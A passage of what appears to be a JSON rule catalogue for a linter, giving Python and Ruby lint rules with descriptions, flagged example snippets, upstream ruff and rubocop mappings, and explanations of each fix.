      "why": "`raise e` adds the current line to the traceback of the exception, so the output shows two places for one error. A bare `raise` re-raises it with the traceback as it was.\n\nTo fix, write `raise`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `yield`, `yield from` or `await` outside a function.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 9
          },
          {
            "column": 1,
            "length": 7,
            "line": 10
          },
          {
            "column": 9,
            "length": 7,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "yield-outside-function",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F704",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F704/"
        }
      ],
      "why": "Python rejects the file with a `SyntaxError` (`'yield' outside function`, `'await' outside function`), so no code in it runs.\n\nTo fix, put the code in a function (an `async def` for `await`)."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a call of `zip` with several arguments (or a starred one) and no `strict` keyword, for a `target_version` of 3.10 and later.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          15,
          16,
          18,
          22,
          30
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "zip-without-explicit-strict",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "B905",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B905/"
        }
      ],
      "why": "`zip` stops at the shortest argument and drops the rest without a message. When the arguments are meant to have one length, a bug that makes one shorter is lost. `strict=True` raises `ValueError`, and `strict=False` says that cutting is intended.\n\nTo fix, add `strict=True`, or `strict=False` when the lengths may differ."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a call without parentheses whose last argument is a call with a braces block (`expect { x }.to change { y }`); also a `do` block that binds to the outer call while a block method is an argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          2,
          4,
          7,
          9,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "ambiguous-block-association",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/AmbiguousBlockAssociation",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintambiguousblockassociation"
        }
      ],
      "why": "A `{}` block binds to the nearest call and a `do ... end` block to the outermost one, so without parentheses it is easy to attach the block to a different method from the one that was meant, and the code runs without the block being used as intended.\n\nTo fix, add parentheses around the arguments."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a comparison, logical or bitwise operator (`== != === <=> =~ > >= < <= | ^ && ||`) whose two sides are the same code (`x == x`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          4,
          7,
          9,
          11,
          12,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 14
          },
          {
            "column": 1,
            "length": 6,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "binary-operator-with-identical-operands",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/BinaryOperatorWithIdenticalOperands",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintbinaryoperatorwithidenticaloperands"
        }
      ],
      "why": "The result is constant, or the operand is repeated by mistake: the second one was meant to be another variable.\n\nTo fix, correct one operand, or write the constant result."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports the symbol `:true` or `:false`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          3,
          4,
          5,
          7,
          8,
          9,
          10,
          14,
          16,
          21,
          25,
          27
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 1
          },
          {
            "column": 7,
            "length": 5,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "boolean-symbol",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/BooleanSymbol",
          "note": "`# rubocop:disable` comments are not read",
          "partial": true,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintbooleansymbol"
        }
      ],
      "why": "`:true` is a symbol, and in a condition it is truthy like any other symbol, including `:false`. It is almost always a boolean meant to be `true` or `false`.\n\nTo fix, write `true` or `false`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a constant, class or module defined directly in a block. `enums` blocks (Sorbet) are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          7,
          13,
          14,
          16,
          19,
          22,
          25
        ],
        "spans": [
          {
            "column": 12,
            "length": 5,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "constant-definition-in-block",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/ConstantDefinitionInBlock",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintconstantdefinitioninblock"
        }
      ],
      "why": "A constant in a block belongs to the scope that encloses the block, not to the block, so the definition is global to the file or class, and runs again each time the block does, with a warning about a constant that is already defined.\n\nTo fix, define the constant outside the block, or use a variable or `let`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `when` with no statements and no comment.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          8,
          9,
          10,
          14,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "empty-when",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/EmptyWhen",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintemptywhen"
        }
      ],
      "why": "An empty `when` does nothing for that value, which usually means the code was never written, and it does not fall through to the next branch in Ruby.\n\nTo fix, write the body, or add a comment that says that nothing is meant to happen."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `==`, `!=`, `eql?` or `equal?` with a float on one side (a literal, `to_f`, arithmetic on a float), and a float in a `when`. Comparing with `0` or `nil` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          8,
          9,
          14,
          16,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "float-comparison",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/FloatComparison",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintfloatcomparison"
        }
      ],
      "why": "Floating point numbers are binary approximations: `0.1 + 0.2 == 0.3` is `false`. A comparison that is true in the test with round numbers can fail with real data.\n\nTo fix, compare with a tolerance (`(a - b).abs < Float::EPSILON`) or use `BigDecimal`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a hash looked up with `x.object_id` as the key (`h[x.object_id]`, `key?`, `fetch`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          4,
          9,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "hash-compare-by-identity",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/HashCompareByIdentity",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#linthashcomparebyidentity"
        }
      ],
      "why": "The hash then emulates identity with an integer, which also keeps no reference to the object and may collide after the object is freed. `compare_by_identity` does it by design.\n\nTo fix, call `h.compare_by_identity` and use the object as the key."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `private` or `protected` before `def self.name`, which does not affect it. `private_class_method :name` in the class makes the method private on purpose and is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          7,
          14,
          16,
          19,
          22,
          25,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "ineffective-access-modifier",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/IneffectiveAccessModifier",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintineffectiveaccessmodifier"
        }
      ],
      "why": "`private` applies to instance methods only, so the singleton method stays public although it looks private.\n\nTo fix, use `private_class_method`, or open `class << self` and put the methods after `private`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a class that inherits `Exception` directly (`class A < Exception`, `Class.new(Exception)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          3,
          7,
          13,
          14,
          16,
          19,
          22,
          25,
          28
        ],
        "spans": [
          {
            "column": 11,
            "length": 9,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "inherit-exception",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/InheritException",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintinheritexception"
        }
      ],
      "why": "A plain `rescue` catches `StandardError` and its subclasses only. An exception that inherits `Exception` is not caught by it, and it is also not caught by code that handles all normal errors, so it ends the program, as does `exit`.\n\nTo fix, inherit from `StandardError`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a single-quoted string that holds `#{...}`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          4,
          5,
          7,
          8,
          9,
          10,
          14,
          16,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 5,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "interpolation-check",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/InterpolationCheck",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintinterpolationcheck"
        }
      ],
      "why": "Single quotes do not interpolate, so the text `#{b}` stays as it is. It is a typical slip when quotes are changed.\n\nTo fix, use double quotes, or remove the `#{...}`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a number, symbol, `true`, `false`, `nil` or string literal that is the whole content of a `#{...}`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          5,
          7,
          8,
          9,
          10,
          14,
          16,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 6,
            "length": 1,
            "line": 4
          },
          {
            "column": 16,
            "length": 4,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "literal-in-interpolation",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/LiteralInInterpolation",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintliteralininterpolation"
        }
      ],
      "why": "A literal does not need interpolation, and in `\"a #{1}\"` the value is known to the reader. Often it is a leftover of an expression that was replaced by a constant.\n\nTo fix, write the literal in the string itself."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `initialize` of a class with a parent other than `Object`, and the callbacks `inherited` and `method_added`, that do not call `super`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          7,
          13,
          14,
          16,
          19,
          22,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "missing-super",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/MissingSuper",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintmissingsuper"
        }
      ],
      "why": "The parent's `initialize` sets up the object, so a subclass that does not call it leaves the parent's state unset. The `inherited` and `method_added` hooks of a base class do work that a subclass must not skip.\n\nTo fix, call `super`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a regexp literal that has both named groups (`(?<name>...)`) and plain groups (`(...)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          4,
          7,
          8,
          9,
          10,
          14,
          16,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "mixed-regexp-capture-types",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/MixedRegexpCaptureTypes",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintmixedregexpcapturetypes"
        }
      ],
      "why": "When a regexp has named groups, Ruby does not capture the plain groups, so `$2` and `match[2]` are `nil`, which is not what the numbered group in the source suggests.\n\nTo fix, name every group you need, or use `(?:...)` for the ones you do not."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a condition that is a logical operation (`&&`, `||`) with an assignment as the right operand not in parentheses (`if a && b = c`). An assignment as the whole condition is `no-assignment-in-condition`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if a == a\n  b\nend\nh = { a: 1, a: 2 }\ncase x\nwhen 1 then y\nwhen 1 then z\nend\nif a && b = c\n  d\nend\nbegin\n  run\nrescue\nend\nx = 1\n# not part of the clause\nbegin\n  run\nrescue\n  # ignored on purpose\nend\nbegin\n  run\nrescue # trails the keyword\nend\ndef f\n  run\n  # before the clause\nrescue NameError\nend\n",
        "language": "ruby",
        "other_lines": [
          1,
          4,
          7,
          14,
          25,
          30
        ],
        "spans": [
          {
            "column": 4,
            "length": 10,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "no-assignment-in-logical-condition",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [],
      "why": "In `a && b = c` the assignment is easy to read as a comparison (`==`), and the value of the whole condition is the assigned value, so the code branches on the wrong thing.\n\nTo fix, use `==` if a comparison was meant, or put the assignment in parentheses if it is on purpose."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a space between a method name and a `(` that holds its only argument (`puts (x)`). A call whose argument goes on after the parentheses (`puts (1 + 2) * 3`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          7,
          9,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "parentheses-as-grouped-expression",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/ParenthesesAsGroupedExpression",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintparenthesesasgroupedexpression"
        }
      ],
      "why": "Ruby reads the parentheses as grouping the argument, not as enclosing the arguments of the call. With one argument the result is the same, but the form changes meaning when the code is edited: `puts (1 + 2).abs` calls `abs` on the group inside the call, while `puts(1 + 2).abs` calls it on the result of `puts`.\n\nTo fix, remove the space before `(`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `begin ... end while cond` and `begin ... end until cond`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = :true\ny = :ok\nz = 'a #{b}'\n\"a #{1} #{x} #{[:a]}\"\n/(?<a>x)(y)/\n/(?<a>x)(?:y)/\na = a\n@b ||= @b\nc = d\nf == 0.1\nf == 0\nbegin\n  x\nend while y\ncase x\nwhen 1\nwhen 2 then z\nend\nbegin\n  1\nrescue Exception\nend\nbegin\n  1\nrescue\nend\n# rubocop:disable Foo/Bar\nh = { true: 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          4,
          5,
          7,
          8,
          9,
          10,
          16,
          21,
          25,
          27,
          28
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "post-condition-loop",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/Loop",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintloop"
        }
      ],
      "why": "This loop runs the body once before it tests the condition, unlike every other `while` or `until`, and readers expect the test first. `loop do ... break if ... end` says what happens.\n\nTo fix, write `loop do`, with `break unless cond` at the end of the body."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `raise Exception` and `raise Exception.new`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          4,
          7,
          9,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 7,
            "length": 9,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "raise-exception",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/RaiseException",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintraiseexception"
        }
      ],
      "why": "A plain `rescue` does not catch `Exception`, only `StandardError`, so the error goes past every handler that is written for normal errors and ends the program.\n\nTo fix, raise `StandardError` or a subclass."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `to_s` on the last expression of a `#{...}` and on an argument of `puts`, `print` or `warn`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          4,
          7,
          9,
          11,
          14,
          15
        ],
        "spans": [
          {
            "column": 11,
            "length": 4,
            "line": 12
          },
          {
            "column": 8,
            "length": 4,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "redundant-string-coercion",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/RedundantStringCoercion",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintredundantstringcoercion"
        }
      ],
      "why": "Interpolation and these methods already convert the value with `to_s`, so the call adds nothing.\n\nTo fix, delete `.to_s`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `return value` in `initialize` or a setter method, whose result is ignored.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A < Exception; end\nclass B < StandardError\n  def initialize(msg)\n    super(msg)\n  end\n  def foo=(_v)\n    return 1\n  end\n  def bar(a, b = 1)\n    super\n  end\n  private\n  def self.baz; end\n  private\n  def qux; end\n  public\nend\nclass C\n  def run\n    super\n  end\n  private\nend\nclass D < B\n  def initialize\n  end\nend\n[1].each { X = 1 }\n",
        "language": "ruby",
        "other_lines": [
          1,
          3,
          13,
          14,
          16,
          19,
          22,
          25,
          28
        ],
        "spans": [
          {
            "column": 5,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "return-in-void-context",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/ReturnInVoidContext",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintreturninvoidcontext"
        }
      ],
      "why": "`new` always returns the new object, and an assignment `a.x = 1` evaluates to `1` whatever the setter returns. The value cannot be used by anyone, so it is a sign of a misunderstanding.\n\nTo fix, return nothing: `return` alone is fine."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `Struct.new` member that has the name of a method of `Struct` (`:hash`, `:size`, `:count`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "puts [1].map { |x| x }\nraise Exception, \"m\"\nraise StandardError\nfoo (1)\nfoo (a ? b : c)\nfoo(1)\nh[x.object_id]\nh.key?(x.id)\n1.times { f }\n2.times { f }\nStruct.new(:hash, :name)\nputs \"#{x.to_s} #{y}\"\nputs x.to_s, y\nx == x\na && a\na == b\n",
        "language": "ruby",
        "other_lines": [
          1,
          2,
          4,
          7,
          9,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 12,
            "length": 5,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "struct-new-override",
      "languages": [
        "ruby"
      ],
      "options": [],
      "presets": [
        "ruby/rubocop"
      ],
      "upstream": [
        {
          "id": "Lint/StructNewOverride",
          "partial": false,
          "tool": "rubocop",
          "url": "https://docs.rubocop.org/rubocop/latest/cops_lint.html#lintstructnewoverride"
        }
      ],
      "why": "The generated accessor replaces the method of `Struct`, which other code and the class itself depend on. `hash` breaks use as a hash key and `size` breaks code that reads the members.\n\nTo fix, rename the member."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a variable whose name starts with `_`, which says it is unused, but that is read. No fix.",
      "example": {
        "config": null,
        "fixed": null,
